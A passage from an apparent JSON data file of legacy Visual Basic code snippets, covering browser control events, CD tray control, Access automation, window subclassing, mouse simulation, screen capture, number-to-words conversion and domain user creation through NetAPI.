MsgBox \"Print command Error: \" & Err.Description\n \nEnd If\nEnd Sub\n======================\nTo open up new window:\nPrivate \nSub WebBrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean)\n On Error \nResume Next\n Dim frmWB As Form1\n Set frmWB = New Form1\n \n Set \nppDisp = frmWB.WebBrowser1.Object\n frmWB.Visible = True\n Set frmWB = \nNothing\nIf you want to cancel the new window, Cancel = True.\nFor a proper progressbar:\nPrivate Sub WebBrowser1_ProgressChange(ByVal \nProgress As Long, ByVal ProgressMax As Long)\n On Error Resume Next\n \nProgressBar1.Max = ProgressMax\n ProgressBar1.Value = Progress\nEnd \nSub\nTo show the percentage:\nProgress * 100 / ProgressMax\nby: Bones mailto:kacantu@webaccess.net\nYou can easily view the source of the webpage you're\nviewing by using 2 \ncontrols: A RichTextBox control,\nand the microsoft internet transfer \ncontrol.\nIf your internet transfer control is Inet1, and your\nTextbox is \nRichTextBox1, then use the following code\ndownload and view a page's \nsource:\nRichTextBox1.Text = Inet1.OpenURL(\" address \")\nThe address must be \nthe valid URL of an .htm or .html\nfile.\n"},{"WorldId":1,"id":432,"LineNumber":1,"line":"\n'to open it:\nx= \nmciSendString(\"set cd door open\", 0&, \n0, 0)\n'to close it:\nx = mciSendString(\"set \ncd door closed\", 0&, 0, 0)\n"},{"WorldId":1,"id":440,"LineNumber":1,"line":"Access 2.0 can be controlled using DDE, while Access 7.0 and later can be controlled using OLE Automation. In both cases, you are generally limited to what is available as a DoCmd statement/method. I'll assume for the moment that you'll be using one of the 32-bit versions of Access. You first setup a reference to Access in the VB References dialog box. Access 7.0 will show up as \"Microsoft Access for Windows 95\" and Access 8.0 will be listed as \"Microsoft Access 8.0 Object Library\". \nOnce that's done, you can create object variables in your application based on the Access application. This little snippet will open a database, run a report and close the database. \n\nDim ac As Access.Application\nSet ac = New Access.Application\n' put the path to your database in here\nac.OpenCurrentDatabase(\"c:\\foo\\foo.mdb\")\n' by default, the OpenReport method of the \n' DoCmd object will send the report to the printer\nac.DoCmd.OpenReport \"MyReport\"\n' close the database\nac.CloseCurrentDatabase\n\nThat's about all it takes. Just remember that you need to design the reports so that they can be run unattended. Watch for query prompts, message boxes, etc., in the report design or the code behind the report."},{"WorldId":1,"id":444,"LineNumber":1,"line":"Public Function GetWaveInfo(Byval filename As String, Byref w As WAVInfo) _\n As Boolean\n Dim ff As Integer\n ff = FreeFile\n \n On Error GoTo ehandler\n Open filename For Binary Access Read As #ff\n \n On Error GoTo ehandler_fo\n Get #ff, , w\n Close #ff\n \n On Error GoTo ehandler\n \n If w.Riff_Format = RIFF_ID And w.ChunkID = _\n RIFF_WAVE And w.fmt = RIFF_FMT Then\n \n GetWaveInfo = True\n Else\n GetWaveInfo = False\n End If\n \n Exit Function\n \n ehandler_fo:\n Close #ff\n ehandler:\n GetWaveInfo = False\n \n End Function\n"},{"WorldId":1,"id":447,"LineNumber":1,"line":"' Place this code in the General Declarations area\n Dim m_MyInstance as Integer\n' Place this block of code in the user control's\n ' INITIALIZE event\n Dim Instance_Scan As Integer\n \n For Instance_Scan = MIN_INSTANCES To MAX_INSTANCES\n If Instances(Instance_Scan).in_use = False Then\n m_MyInstance = Instance_Scan\n Instances(Instance_Scan).in_use = True\n Instances(Instance_Scan).ClassAddr = ObjPtr(Me)\n Exit For\n End If\n Next Instance_Scan\n\n ' Note the Friend keyword.\n ' If you plan on modifying wMsg, pass it ByRef...\n Friend Sub ParentResized(ByVal wMsg As Long)\n Static ParentWidth As Long\n Static ParentHeight As Long\n If wMsg = WM_CLOSE Then UnhookParent\n If ParentWidth <> Usercontrol.Parent.Width Or _\n ParentHeight <> Usercontrol.Parent.Height Then\n Debug.Print m_MyInstance & \": Resize event\"\n End If\n \n ParentWidth = TrueParentWidth\n ParentHeight = TrueParentHeight\n End Sub\n\nPublic Function SwitchBoard(ByVal hwnd As Long, ByVal MSG As Long, _\n ByVal wParam As Long, ByVal lParam As Long) As Long\n \n Dim instance_check As Integer\n Dim cMyUC As MyUC\n Dim PrevWndProc As Long\n \n 'Do this early as we may unhook\n PrevWndProc = Is_Hooked(hwnd)\n \n If MSG = WM_SIZE Or MSG = WM_CLOSE Then\n For instance_check = MIN_INSTANCES To MAX_INSTANCES\n If Instances(instance_check).hwnd = hwnd Then\n On Error Resume Next\n CopyMemory cMyUC, Instances(instance_check).ClassAddr, 4\n cMyUC.ParentResized MSG\n CopyMemory cMyUC, 0&, 4\n End If\n Next instance_check\n End If\n \n SwitchBoard = CallWindowProc(PrevWndProc, hwnd, MSG, wParam, lParam)\n \n End Function\n\n 'Hooks a window or acts as if it does if the window is\n 'already hooked by a previous instance of myUC.\n Public Sub Hook_Window(ByVal hwnd As Long, ByVal instance_ndx As Integer)\n \n Instances(instance_ndx).PrevWndProc = Is_Hooked(hwnd)\n If Instances(instance_ndx).PrevWndProc = 0& Then\n Instances(instance_ndx).PrevWndProc = SetWindowLong(hwnd, _\n GWL_WNDPROC, AddressOf SwitchBoard)\n End If\n Instances(instance_ndx).hwnd = hwnd\n \n End Sub\n\n ' Unhooks only if no other instances need the hWnd\n Public Sub UnHookWindow(ByVal instance_ndx As Integer)\n If TimesHooked(Instances(instance_ndx).hwnd) = 1 Then\n SetWindowLong Instances(instance_ndx).hwnd, GWL_WNDPROC, _\n Instances(instance_ndx).PrevWndProc\n End If\n Instances(instance_ndx).hwnd = 0&\n End Sub\n\n 'Determine if we have already hooked a window,\n 'and returns the PrevWndProc if true, 0& if false\n Private Function Is_Hooked(ByVal hwnd As Long) As Long\n \n Dim ndx As Integer\n Is_Hooked = 0&\n For ndx = MIN_INSTANCES To MAX_INSTANCES\n If Instances(ndx).hwnd = hwnd Then\n Is_Hooked = Instances(ndx).PrevWndProc\n Exit For\n End If\n Next ndx\n \n End Function\n\n 'Returns a count of the number of times a given\n 'window has been hooked by instances of myUC.\n Private Function TimesHooked(ByVal hwnd As Long) As Long\n Dim ndx As Integer\n Dim cnt As Integer\n \n For ndx = MIN_INSTANCES To MAX_INSTANCES\n If Instances(ndx).hwnd = hwnd Then\n cnt = cnt + 1\n End If\n Next ndx\n TimesHooked = cnt\n End Function\n"},{"WorldId":1,"id":450,"LineNumber":1,"line":"\n ' Returns the screen size in pixels or, optionally,\n ' in others scalemode styles\n Public Sub GetScreenRes(ByRef X As Long, ByRef Y As Long, Optional ByVal _\n ReportStyle As enReportStyle)\n X = GetSystemMetrics(SM_CXSCREEN)\n Y = GetSystemMetrics(SM_CYSCREEN)\n If Not IsMissing(ReportStyle) Then\n If ReportStyle <> rsPixels Then\n X = X * Screen.TwipsPerPixelX\n Y = Y * Screen.TwipsPerPixelY\n If ReportStyle = rsInches Or ReportStyle = rsPoints Then\n X = X \\ TWIPS_PER_INCH\n Y = Y \\ TWIPS_PER_INCH\n If ReportStyle = rsPoints Then\n X = X * POINTS_PER_INCH\n Y = Y * POINTS_PER_INCH\n End If\n End If\n End If\n End If\n End Sub\n\n ' Convert's the mouses coordinate system to\n ' a pixel position.\n Public Function MickeyXToPixel(ByVal mouseX As Long) As Long\n Dim X As Long\n Dim Y As Long\n Dim tX As Single\n Dim tmouseX As Single\n Dim tMickeys As Single\n \n GetScreenRes X, Y\n tX = X\n tMickeys = MOUSE_MICKEYS\n tmouseX = mouseX\n \n MickeyXToPixel = CLng(tmouseX / (tMickeys / tX))\n \n End Function\n\n ' Converts mouse Y coordinates to pixels\n Public Function MickeyYToPixel(ByVal mouseY As Long) As Long\n Dim X As Long\n Dim Y As Long\n Dim tY As Single\n Dim tmouseY As Single\n Dim tMickeys As Single\n \n GetScreenRes X, Y\n tY = Y\n tMickeys = MOUSE_MICKEYS\n tmouseY = mouseY\n \n MickeyYToPixel = CLng(tmouseY / (tMickeys / tY))\n \n End Function\n\n ' Converts pixel X coordinates to mickeys\n Public Function PixelXToMickey(ByVal pixX As Long) As Long\n Dim X As Long\n Dim Y As Long\n Dim tX As Single\n Dim tpixX As Single\n Dim tMickeys As Single\n \n GetScreenRes X, Y\n tMickeys = MOUSE_MICKEYS\n tX = X\n tpixX = pixX\n \n PixelXToMickey = CLng((tMickeys / tX) * tpixX)\n End Function\n\n ' Converts pixel Y coordinates to mickeys\n Public Function PixelYToMickey(ByVal pixY As Long) As Long\n Dim X As Long\n Dim Y As Long\n Dim tY As Single\n Dim tpixY As Single\n Dim tMickeys As Single\n \n GetScreenRes X, Y\n tMickeys = MOUSE_MICKEYS\n tY = Y\n tpixY = pixY\n \n PixelYToMickey = CLng((tMickeys / tY) * tpixY)\n End Function\n\n ' The function will center the mouse on a window\n ' or control with an hWnd property. No checking\n ' is done to ensure that the window is not obscured\n ' or not minimized, however it does make sure that\n ' the target is within the boundaries of the\n ' screen.\n Public Function CenterMouseOn(ByVal hwnd As Long) As Boolean\n Dim X As Long\n Dim Y As Long\n Dim maxX As Long\n Dim maxY As Long\n Dim crect As RECT\n Dim rc As Long\n GetScreenRes maxX, maxY\n rc = GetWindowRect(hwnd, crect)\n \n If rc Then\n X = crect.Left + ((crect.Right - crect.Left) / 2)\n Y = crect.Top + ((crect.Bottom - crect.Top) / 2)\n If (X >= 0 And X <= maxX) And (Y >= 0 And Y <= maxY) Then\n MouseMove X, Y\n CenterMouseOn = True\n Else\n CenterMouseOn = False\n End If\n Else\n CenterMouseOn = False\n End If\n End Function\n\n ' Simulates a mouse click\n Public Function MouseFullClick(ByVal MBClick As enButtonToClick) As Boolean\n Dim cbuttons As Long\n Dim dwExtraInfo As Long\n Dim mevent As Long\n \n Select Case MBClick\n Case btcLeft\n mevent = MOUSEEVENTF_LEFTDOWN Or MOUSEEVENTF_LEFTUP\n Case btcRight\n mevent = MOUSEEVENTF_RIGHTDOWN Or MOUSEEVENTF_RIGHTUP\n Case btcMiddle\n mevent = MOUSEEVENTF_MIDDLEDOWN Or MOUSEEVENTF_MIDDLEUP\n Case Else\n MouseFullClick = False\n Exit Function\n End Select\n mouse_event mevent, 0&, 0&, cbuttons, dwExtraInfo\n MouseFullClick = True\n \n End Function\n\n Public Sub MouseMove(ByRef xPixel As Long, ByRef yPixel As Long)\n Dim cbuttons As Long\n Dim dwExtraInfo As Long\n \n mouse_event MOUSEEVENTF_ABSOLUTE Or MOUSEEVENTF_MOVE, _\n PixelXToMickey(xPixel), PixelYToMickey(yPixel), cbuttons, dwExtraInfo\n End Sub\n"},{"WorldId":1,"id":458,"LineNumber":1,"line":"3. Add a Command Button control to Form1. Command1 is created by\ndefault. Set its Caption property to \"Hide\".\n4. Add the following code to the Click event for Command1.\nPrivate Sub Command1_Click()\nhwnd1 = FindWindow(\"Shell_traywnd\", \"\")\nCall SetWindowPos(hwnd1, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)\nEnd Sub\n5. Add a second Command Button control to Form1. Command2 is created by \ndefault. Set its Caption property to \"Show\".\n6. Add the following code to the Click event for Command2.\nPrivate Sub Command2_Click()\nCall SetWindowPos(hwnd1, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)\nEnd Sub"},{"WorldId":1,"id":461,"LineNumber":1,"line":"' CreateBitmapPicture\n' - Creates a bitmap type Picture object from a bitmap and palette\n'\n' hBmp\n' - Handle to a bitmap\n'\n' hPal\n' - Handle to a Palette\n' - Can be null if the bitmap doesn't use a palette\n'\n' Returns\n' - Returns a Picture object containing the bitmap\n#If Win32 Then\nPublic Function CreateBitmapPicture(ByVal hBmp As Long, _\nByVal hPal As Long) As Picture\nDim r As Long\n\n#ElseIf Win16 Then\nPublic Function CreateBitmapPicture(ByVal hBmp As Integer, _\nByVal hPal As Integer) As Picture\nDim r As Integer\n\n#End If\nDim Pic As PicBmp\n' IPicture requires a reference to \"Standard OLE Types\"\nDim IPic As IPicture\nDim IID_IDispatch As GUID\n' Fill in with IDispatch Interface ID\nWith IID_IDispatch\n.Data1 = &H20400\n.Data4(0) = &HC0\n.Data4(7) = &H46\nEnd With\n' Fill Pic with necessary parts\nWith Pic\n.Size = Len(Pic) ' Length of structure\n.Type = vbPicTypeBitmap ' Type of Picture (bitmap)\n.hBmp = hBmp ' Handle to bitmap\n.hPal = hPal ' Handle to palette (may be null)\nEnd With\n' Create Picture object\nr = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic)\n' Return the new Picture object\nSet CreateBitmapPicture = IPic\n\nEnd Function\n\n\n' CaptureWindow\n' - Captures any portion of a window\n'\n' hWndSrc\n' - Handle to the window to be captured\n'\n' Client\n' - If True CaptureWindow captures from the client area of the window\n' - If False CaptureWindow captures from the entire window\n'\n' LeftSrc, TopSrc, WidthSrc, HeightSrc\n' - Specify the portion of the window to capture\n' - Dimensions need to be specified in pixels\n'\n' Returns\n' - Returns a Picture object containing a bitmap of the specified\n' portion of the window that was captured\n#If Win32 Then\nPublic Function CaptureWindow(ByVal hWndSrc As Long, _\nByVal Client As Boolean, ByVal LeftSrc As Long, _\nByVal TopSrc As Long, ByVal WidthSrc As Long, _\nByVal HeightSrc As Long) As Picture\nDim hDCMemory As Long\nDim hBmp As Long\nDim hBmpPrev As Long\nDim r As Long\nDim hDCSrc As Long\nDim hPal As Long\nDim hPalPrev As Long\nDim RasterCapsScrn As Long\nDim HasPaletteScrn As Long\nDim PaletteSizeScrn As Long\n\n#ElseIf Win16 Then\nPublic Function CaptureWindow(ByVal hWndSrc As Integer, _\nByVal Client As Boolean, ByVal LeftSrc As Integer, _\nByVal TopSrc As Integer, ByVal WidthSrc As Long, _\nByVal HeightSrc As Long) As Picture\nDim hDCMemory As Integer\nDim hBmp As Integer\nDim hBmpPrev As Integer\nDim r As Integer\nDim hDCSrc As Integer\nDim hPal As Integer\nDim hPalPrev As Integer\nDim RasterCapsScrn As Integer\nDim HasPaletteScrn As Integer\nDim PaletteSizeScrn As Integer\n\n#End If\nDim LogPal As LOGPALETTE\n' Depending on the value of Client get the proper device context\nIf Client Then\nhDCSrc = GetDC(hWndSrc) ' Get device context for client area\nElse\nhDCSrc = GetWindowDC(hWndSrc) ' Get device context for entire window\nEnd If\n' Create a memory device context for the copy process\nhDCMemory = CreateCompatibleDC(hDCSrc)\n' Create a bitmap and place it in the memory DC\nhBmp = CreateCompatibleBitmap(hDCSrc, WidthSrc, HeightSrc)\nhBmpPrev = SelectObject(hDCMemory, hBmp)\n' Get screen properties\nRasterCapsScrn = GetDeviceCaps(hDCSrc, RASTERCAPS) ' Raster capabilities\nHasPaletteScrn = RasterCapsScrn And RC_PALETTE ' Palette support\nPaletteSizeScrn = GetDeviceCaps(hDCSrc, SIZEPALETTE) ' Size of palette\n' If the screen has a palette make a copy and realize it\nIf HasPaletteScrn And (PaletteSizeScrn = 256) Then\n' Create a copy of the system palette\nLogPal.palVersion = &H300\nLogPal.palNumEntries = 256\nr = GetSystemPaletteEntries(hDCSrc, 0, 256, LogPal.palPalEntry(0))\nhPal = CreatePalette(LogPal)\n' Select the new palette into the memory DC and realize it\nhPalPrev = SelectPalette(hDCMemory, hPal, 0)\nr = RealizePalette(hDCMemory)\nEnd If\n' Copy the on-screen image into the memory DC\nr = BitBlt(hDCMemory, 0, 0, WidthSrc, HeightSrc, hDCSrc, _\nLeftSrc, TopSrc, vbSrcCopy)\n' Remove the new copy of the the on-screen image\nhBmp = SelectObject(hDCMemory, hBmpPrev)\n' If the screen has a palette get back the palette that was selected\n' in previously\nIf HasPaletteScrn And (PaletteSizeScrn = 256) Then\nhPal = SelectPalette(hDCMemory, hPalPrev, 0)\nEnd If\n' Release the device context resources back to the system\nr = DeleteDC(hDCMemory)\nr = ReleaseDC(hWndSrc, hDCSrc)\n' Call CreateBitmapPicture to create a picture object from the bitmap\n' and palette handles. Then return the resulting picture object.\nSet CaptureWindow = CreateBitmapPicture(hBmp, hPal)\n\nEnd Function\n\n\n' CaptureScreen\n' - Captures the entire screen\n'\n' Returns\n' - Returns a Picture object containing a bitmap of the screen\nPublic Function CaptureScreen() As Picture\n#If Win32 Then\nDim hWndScreen As Long\n#ElseIf Win16 Then\nDim hWndScreen As Integer\n#End If\n' Get a handle to the desktop window\nhWndScreen = GetDesktopWindow()\n' Call CaptureWindow to capture the entire desktop give the handle and\n' return the resulting Picture object\nSet CaptureScreen = CaptureWindow(hWndScreen, False, 0, 0, _\nScreen.Width \\ Screen.TwipsPerPixelX, _\nScreen.Height \\ Screen.TwipsPerPixelY)\n\nEnd Function\n\n\n' CaptureForm\n' - Captures an entire form including title bar and border\n'\n' frmSrc\n' - The Form object to capture\n' Returns\n' - Returns a Picture object containing a bitmap of the entire form\nPublic Function CaptureForm(frmSrc As Form) As Picture\n' Call CaptureWindow to capture the entire form given it's window\n' handle and then return the resulting Picture object\nSet CaptureForm = CaptureWindow(frmSrc.hWnd, False, 0, 0, _\nfrmSrc.ScaleX(frmSrc.Width, vbTwips, vbPixels), _\nfrmSrc.ScaleY(frmSrc.Height, vbTwips, vbPixels))\n\nEnd Function\n\n\n' CaptureClient\n' - Captures the client area of a form\n'\n' frmSrc\n' - The Form object to capture\n'\n' Returns\n' - Returns a Picture object containing a bitmap of the form's client\n' area\nPublic Function CaptureClient(frmSrc As Form) As Picture\n' Call CaptureWindow to capture the client area of the form given it's\n' window handle and return the resulting Picture object\nSet CaptureClient = CaptureWindow(frmSrc.hWnd, True, 0, 0, _\nfrmSrc.ScaleX(frmSrc.ScaleWidth, frmSrc.ScaleMode, vbPixels), _\nfrmSrc.ScaleY(frmSrc.ScaleHeight, frmSrc.ScaleMode, vbPixels))\n\nEnd Function\n\n\n' CaptureActiveWindow\n' - Captures the currently active window on the screen\n'\n' Returns\n' - Returns a Picture object containing a bitmap of the active window\nPublic Function CaptureActiveWindow() As Picture\n#If Win32 Then\nDim hWndActive As Long\nDim r As Long\n#ElseIf Win16 Then\nDim hWndActive As Integer\nDim r As Integer\n#End If\nDim RectActive As RECT\n' Get a handle to the active/foreground window\nhWndActive = GetForegroundWindow()\n' Get the dimensions of the window\nr = GetWindowRect(hWndActive, RectActive)\n' Call CaptureWindow to capture the active window given it's handle and\n' return the Resulting Picture object\nSet CaptureActiveWindow = CaptureWindow(hWndActive, False, 0, 0, _\nRectActive.Right - RectActive.Left, _\nRectActive.Bottom - RectActive.Top)\n\nEnd Function\n\n\n' PrintPictureToFitPage\n' - Prints a Picture object as big as possible\n'\n' Prn\n' - Destination Printer object\n'\n' Pic\n' - Source Picture object\nPublic Sub PrintPictureToFitPage(Prn As Printer, Pic As Picture)\nConst vbHiMetric As Integer = 8\nDim PicRatio As Double\nDim PrnWidth As Double\nDim PrnHeight As Double\nDim PrnRatio As Double\nDim PrnPicWidth As Double\nDim PrnPicHeight As Double\n' Determine if picture should be printed in landscape or portrait and\n' set the orientation\nIf Pic.Height >= Pic.Width Then\nPrn.Orientation = vbPRORPortrait ' Taller than wide\nElse\nPrn.Orientation = vbPRORLandscape ' Wider than tall\nEnd If\n' Calculate device independent Width to Height ratio for picture\nPicRatio = Pic.Width / Pic.Height\n' Calculate the dimentions of the printable area in HiMetric\nPrnWidth = Prn.ScaleX(Prn.ScaleWidth, Prn.ScaleMode, vbHiMetric)\nPrnHeight = Prn.ScaleY(Prn.ScaleHeight, Prn.ScaleMode, vbHiMetric)\n' Calculate device independent Width to Height ratio for printer\nPrnRatio = PrnWidth / PrnHeight\n' Scale the output to the printable area\nIf PicRatio >= PrnRatio Then\n' Scale picture to fit full width of printable area\nPrnPicWidth = Prn.ScaleX(PrnWidth, vbHiMetric, Prn.ScaleMode)\nPrnPicHeight = Prn.ScaleY(PrnWidth / PicRatio, vbHiMetric, _\nPrn.ScaleMode)\nElse\n' Scale picture to fit full height of printable area\nPrnPicHeight = Prn.ScaleY(PrnHeight, vbHiMetric, Prn.ScaleMode)\nPrnPicWidth = Prn.ScaleX(PrnHeight * PicRatio, vbHiMetric, _\nPrn.ScaleMode)\nEnd If\n' Print the picture using the PaintPicture method\nPrn.PaintPicture Pic, 0, 0, PrnPicWidth, PrnPicHeight\n\nEnd Sub"},{"WorldId":1,"id":465,"LineNumber":1,"line":"Add these two procedures to a Module. In each object GotFocus.LostFocus event, place a call to the respective procedure (the CALL qualifier is not neccesary, just the procedure name). This process can also be placed in a VB 4.0 Class.\n\nPublic Sub GotFocus()\n\nSet gLastObjectFocus = Screen.ActiveControl\nWith gLastObjectFocus\nIf (TypeOf gLastObjectFocus Is TextBox) Or _\n(TypeOf gLastObjectFocus Is ComboBox) Or _\n(TypeOf gLastObjectFocus Is CSComboBox) Or _\n(TypeOf gLastObjectFocus Is sidtEdit) _\nThen\n.BackColor = &HFF0000 'Dark Blue\nElseIf (TypeOf gLastObjectFocus Is SSTab) Then\n.Font.Bold = True\n.Font.Italic = True\n.ShowFocusRect = True\nElseIf (TypeOf gLastObjectFocus Is CheckBox) Or _\n(TypeOf gLastObjectFocus Is CSOptList) Or _\n(TypeOf gLastObjectFocus Is OptionButton) Or _\n(TypeOf gLastObjectFocus Is SSOption) Then\n.ForeColor = &HFF0000 'Dark Blue\nEnd If\nEnd With\n\nEnd Sub\nPublic Sub LostFocus()\n\nWith gLastObjectFocus\nIf (TypeOf gLastObjectFocus Is TextBox) Or _\n(TypeOf gLastObjectFocus Is ComboBox) Or _\n(TypeOf gLastObjectFocus Is CSComboBox) Or _\n(TypeOf gLastObjectFocus Is sidtEdit) _\nThen\n.BackColor = &H00C0C0C0& 'Light Grey\nElseIf (TypeOf gLastObjectFocus Is SSTab) Then\n.Font.Bold = False\n.Font.Italic = False\n.ShowFocusRect = False\nElseIf (TypeOf gLastObjectFocus Is CheckBox) Or _\n(TypeOf gLastObjectFocus Is CSOptList) Or _\n(TypeOf gLastObjectFocus Is OptionButton) Or _\n(TypeOf gLastObjectFocus Is SSOption) Then\n.ForeColor = &H0& 'Black\nEnd If\nEnd With\n\nEnd Sub"},{"WorldId":1,"id":517,"LineNumber":1,"line":"Function GetMonDate (CurrentDate)\n 'checks to see if CurrentDate is a Date datatype\n If VarType(CurrentDate) <> 7 Then\n GetMonDate = Null\n Else\n Select Case Weekday(CurrentDate)\n Case 1 'Sunday\n GetMonDate = CurrentDate - 6\n Case 2 'Monday\n GetMonDate = CurrentDate\n Case 3 To 7 'Tuesday..Saturday\n GetMonDate = CurrentDate - Weekday(CurrentDate) + 2\n End Select\n End If\nEnd Function\n"},{"WorldId":1,"id":520,"LineNumber":1,"line":"'================================================================\n'*** This is the main function call\n'================================================================\n Function NumToWord (numval)\n Dim NTW, NText, dollars, cents, NWord, totalcents As String\n Dim decplace, TotalSets, cnt, LDollHold As Integer\n ReDim NumParts(9) As String 'Array for Amount (sets of three)\n ReDim Place(9) As String 'Array containing place holders\n Dim LDoll As Integer 'Length of the Dollars Text Amount\n\n Place(2) = \" Thousand \" '\n Place(3) = \" Million \" 'Place holder names for money\n Place(4) = \" Billion \" 'amounts\n Place(5) = \" Trillion \" '\n\n NTW = \"\" 'Temp value for the function\n NText = round_curr(numval) 'Roundup the cents to eliminate\ncents gr 2\n NText = Trim(Str(NText)) 'String representation of amount\n decplace = InStr(Trim(NText), \".\")'Position of decimal 0 if none\n dollars = Trim(Left(NText, IIf(decplace = 0, Len(numval),\ndecplace\n- 1)))\n LDoll = Len(dollars)\n cents = Trim(Right(NText, IIf(decplace = 0, 0, Abs(decplace -\nLen(NText)))))\n If Len(cents) = 1 Then\n cents = cents & \"0\"\n End If\n If (LDoll Mod 3) = 0 Then\n TotalSets = (LDoll \\ 3)\n Else\n TotalSets = (LDoll \\ 3) + 1\n End If\n cnt = 1\n LDollHold = LDoll\n Do While LDoll > 0\n NumParts(cnt) = IIf(LDoll > 3, Right(dollars, 3),\nTrim(dollars))\n dollars = IIf(LDoll > 3, Left(dollars, (IIf(LDoll < 3, 3,\nLDoll)) - 3), \"\")\n LDoll = Len(dollars)\n cnt = cnt + 1\n Loop\n For cnt = TotalSets To 1 Step -1 'step through NumParts\narray\n NWord = GetWord(NumParts(cnt)) 'convert 1 element of\nNumParts\n NTW = NTW & NWord 'concatenate it to temp\nvariable\n If NWord <> \"\" Then NTW = NTW & Place(cnt)\n Next cnt 'loop through\n If LDollHold > 0 Then\n NTW = NTW & \" DOLLARS and \" 'concatenate text\n Else\n NTW = NTW & \" NO DOLLARS and \" 'concatenate text\n End If\n totalcents = GetTens(cents) 'Convert cents part to word\n If totalcents = \"\" Then totalcents = \"NO\" 'Concat NO if cents=0\n NTW = NTW & totalcents & \" CENTS\" 'Concat Dollars and Cents\n NumToWord = NTW 'Assign word value to\nfunction\n \n \nEnd Function\n\n-------------------------------------------------------------------------------------------------------------------------------\n\n '================================================================\n ' The following function converts a number from 1 to 9 to text\n '================================================================\n Function GetDigit (Digit)\n Select Case Val(Digit)\n Case 1: GetDigit = \"One\" '\n Case 2: GetDigit = \"Two\" '\n Case 3: GetDigit = \"Three\" '\n Case 4: GetDigit = \"Four\" ' Assign a numeric word value\n Case 5: GetDigit = \"Five\" ' based on a single digit.\n Case 6: GetDigit = \"Six\" '\n Case 7: GetDigit = \"Seven\" '\n Case 8: GetDigit = \"Eight\" '\n Case 9: GetDigit = \"Nine\" '\n Case Else: GetDigit = \"\" '\n End Select\n End Function 'End function GetDigit - return to calling program\n-------------------------------------------------------------------------------------------------------------------------------\n '================================================================\n ' The following function converts a number from 10 to 99 to text\n '================================================================\n Function GetTens (tenstext)\n Dim GT As String\n GT = \"\" 'null out the temporary function value\n If Val(Left(tenstext, 1)) = 1 Then ' If value between 10-19\n Select Case Val(tenstext)\n Case 10: GT = \"Ten\" '\n Case 11: GT = \"Eleven\" '\n Case 12: GT = \"Twelve\" '\n Case 13: GT = \"Thirteen\" ' Retrieve numeric word\n Case 14: GT = \"Fourteen\" ' value if between ten and\n Case 15: GT = \"Fifteen\" ' nineteen inclusive.\n Case 16: GT = \"Sixteen\" '\n Case 17: GT = \"Seventeen\" '\n Case 18: GT = \"Eighteen\" '\n Case 19: GT = \"Nineteen\" '\n Case Else\n End Select\n \n Else ' If value between 20-99\n Select Case Val(Left(tenstext, 1))\n \n Case 2: GT = \"Twenty \" '\n Case 3: GT = \"Thirty \" '\n Case 4: GT = \"Forty \" '\n Case 5: GT = \"Fifty \" ' Retrieve value if it is\n Case 6: GT = \"Sixty \" ' divisible by ten\n Case 7: GT = \"Seventy \" ' excluding the value ten.\n Case 8: GT = \"Eighty \" '\n Case 9: GT = \"Ninety \" '\n Case Else\n End Select\n\n GT = GT & GetDigit(Right(tenstext, 1)) 'Retrieve ones place\n End If\n \n GetTens = GT ' Assign function return value.\n \n \nEnd Function\n\n-----------------------------------------------------------------------------------------------------------\n'=================================================================\n' The following function converts a number from 0 to 999 to text\n'=================================================================\n Function GetWord (NumText)\n Dim GW As String, x As Integer\n GW = \"\" 'null out temporary function value\n If Val(NumText) > 0 Then\n For x = 1 To Len(NumText) 'loop the length of NumText times\n Select Case Len(NumText)\n Case 3:\n If Val(NumText) > 99 Then\n GW = GetDigit(Left(NumText, 1)) & \" Hundred \"\n End If\n NumText = Right(NumText, 2)\n Case 2:\n GW = GW & GetTens(NumText)\n NumText = \"\"\n Case 1:\n GW = GetDigit(NumText)\n Case Else\n End Select\n Next x\n End If\n GetWord = GW 'assign function return value\n End Function 'End function GetWord - Return to calling program\n\n---------------------------------------------------------------------------------------------------------------\nFunction round_curr (currValue)\n'\n' This rounds any currency field\n'\n round_curr = Int(currValue * FACTOR + .5) / FACTOR\nEnd Function\n"},{"WorldId":1,"id":521,"LineNumber":1,"line":"gsUserId = ClipNull(GetUser())\n\nFunction GetUser() As String\n Dim lpUserID As String\n Dim nBuffer As Long\n Dim Ret As Long\n \n lpUserID = String(25, 0)\n nBuffer = 25\n Ret = GetUserName(lpUserID, nBuffer)\n If Ret Then\n GetUser$ = lpUserID$\n End If\nEnd Function\n \nFunction ClipNull(InString As String) As String\n Dim intpos As Integer\n If Len(InString) Then\n intpos = InStr(InString, vbNullChar)\n If intpos > 0 Then\n ClipNull = Left(InString, intpos - 1)\n Else\n ClipNull = InString\n End If\n End If\nEnd Function\n\n"},{"WorldId":1,"id":532,"LineNumber":1,"line":"Function DomainCreateUser( _\n ByVal sSName As String, _\n ByVal sUName As String, _\n ByVal sPWD As String, _\n ByVal sHomeDir As String, _\n ByVal sComment As String, _\n ByVal sScriptFile As String) As Long\n'Create a new user to be a member of group Domain Users\n Dim lResult As Long\n Dim lParmError As Long\n \n Dim lUNPtr As Long\n Dim lPWDPtr As Long\n Dim lHomeDirPtr As Long\n Dim lCommentPtr As Long\n Dim lScriptFilePtr As Long\n \n Dim bSNArray() As Byte\n Dim bUNArray() As Byte\n Dim bPWDArray() As Byte\n Dim bHomeDirArray() As Byte\n Dim bCommentArray() As Byte\n Dim bScriptFileArray() As Byte\n \n Dim UserStruct As TUser1\n \n ' Move to byte arrays\n bSNArray = sSName & vbNullChar\n bUNArray = sUName & vbNullChar\n bPWDArray = sPWD & vbNullChar\n bHomeDirArray = sHomeDir & vbNullChar\n bCommentArray = sComment & vbNullChar\n bScriptFileArray = sScriptFile & vbNullChar\n \n ' Allocate buffer space\n lResult = NetAPIBufferAllocate(UBound(bUNArray) + 1, lUNPtr)\n lResult = NetAPIBufferAllocate(UBound(bPWDArray) + 1, lPWDPtr)\n lResult = NetAPIBufferAllocate(UBound(bHomeDirArray) + 1, lHomeDirPtr)\n lResult = NetAPIBufferAllocate(UBound(bCommentArray) + 1, lCommentPtr)\n lResult = NetAPIBufferAllocate(UBound(bScriptFileArray) + 1, lScriptFilePtr)\n \n ' Copy arrays to the buffer\n lResult = StrToPtr(lUNPtr, bUNArray(0))\n lResult = StrToPtr(lPWDPtr, bPWDArray(0))\n lResult = StrToPtr(lHomeDirPtr, bHomeDirArray(0))\n lResult = StrToPtr(lCommentPtr, bCommentArray(0))\n lResult = StrToPtr(lScriptFilePtr, bScriptFileArray(0))\n \n With UserStruct\n .ptrName = lUNPtr\n 